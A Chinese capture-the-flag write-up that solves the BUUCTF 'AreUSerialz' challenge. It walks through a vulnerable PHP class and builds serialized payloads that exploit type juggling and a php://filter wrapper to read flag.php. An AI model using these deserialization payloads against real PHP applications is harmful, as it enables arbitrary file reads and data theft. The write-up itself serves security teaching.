1.准备工作

1.首先先去buuctf官网(https://buuoj.cn/)注册一个账号

2.打开题目地址https://buuoj.cn/challenges#[网鼎杯%202020%20青龙组]AreUSerialz

3.然后启动靶机,访问链接进入题目,这里我直接把题目粘贴出来:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

2.这段代码干了什么?

这里我们只看关键的代码

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

这是这段代码的执行逻辑

op == "1"? ──Yes──► write() ──► 写入文件
    │
    No
    ▼
op == "2"? ──Yes──► read() ──► 读取文件 ──► output()
    │
    No
    ▼
输出:Bad Hacker!

write() 方法用于写入文件,本题中我们利用 read() 读取 flag,所以暂不深入。

这段代码使用file_get_contents函数可以读取任意文件(因为没有路径白名单限制,也可以是PHP 伪协议:php://filter/)再结合代码的开始是include("flag.php"); 所以我们应该是要读取flag.php才可以拿到flag

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

然后后面的output函数大概会输出[Result]: flag这样

__destruct() 是析构函数,当对象生命周期结束(脚本执行完毕)时自动调用。

如果我们让 $op 是整数 2 而非字符串 "2":

2 === "2" → false(类型不同,不会重置)

但 process() 中 2 == "2" → true(松散比较,成功进入 read)"

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

末尾这一段代码,显然我们需要传入一个str的参数才会发生什么,应该是我们的攻击入口,unserialize($str); 会把我们传入的参数反序列化,所以我们传入的参数就要使用序列化,

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

3.整个攻击流程

用户访问 ?str=[恶意序列化字符串]
    │
    ▼
is_valid() 检查通过(只有可见字符)   //如果直接用 protected 属性,序列化结果会包含 %00*%00 空字符(ASCII 0),is_valid() 会返回 false。使用   
    |                               //public 格式可以生成纯可见字符的 Payload,通过检查。
    │
    ▼
unserialize() 创建 FileHandler 对象
    ├─ op = 2 (整数)
    ├─ filename = "flag.php"  
    └─ content = ""
    │
    ▼
脚本结束,对象即将销毁...
    │
    ▼
调用 __destruct()
    ├─ 检查:2 === "2" ? 否!(类型不同)
    ├─ 保持 op = 2
    └─ 调用 process()
            │
            ▼
    检查:2 == "2" ? 是!(松散比较)
            │
            ▼
    调用 read()
            │
            ▼
    file_get_contents("flag.php")
            │
            ▼
    返回 flag 内容

4.构造payload

// 实际题目是 protected,但序列化时用 public 格式可以绕过空字符检查
// 这是 PHP 7.1+ 的特性:反序列化时 public 格式可以填充 protected 属性
class FileHandler {
    public $op = 2;        // 用 public 避免 %00 空字符
    public $filename = "flag.php";
    public $content = "";  
}
echo serialize(new FileHandler); //输出:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
?>

然后传参?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

这里右键f12就可以看到flag:

ctf_qinglongzu.png

或者我们可以改成

<?php 
class FileHandler {
    public $op = 2;        // 用 public 避免 %00 空字符
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content = "";  
}
echo serialize(new FileHandler); //输出O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:0:"";} 

?> 

可以直接输出flag,但是需要base64解码

[Result]:
PD9waHAgJGZsYWc9J2ZsYWd7OTBmZDNjMjctNTEzMS00YTBkLWI2MjAtM2VmNjliNDFjZDhlfSc7Cg==

找个在线base64解密就可以拿到flag

然后我们直接提交,搞定

ctf_qinglong2.png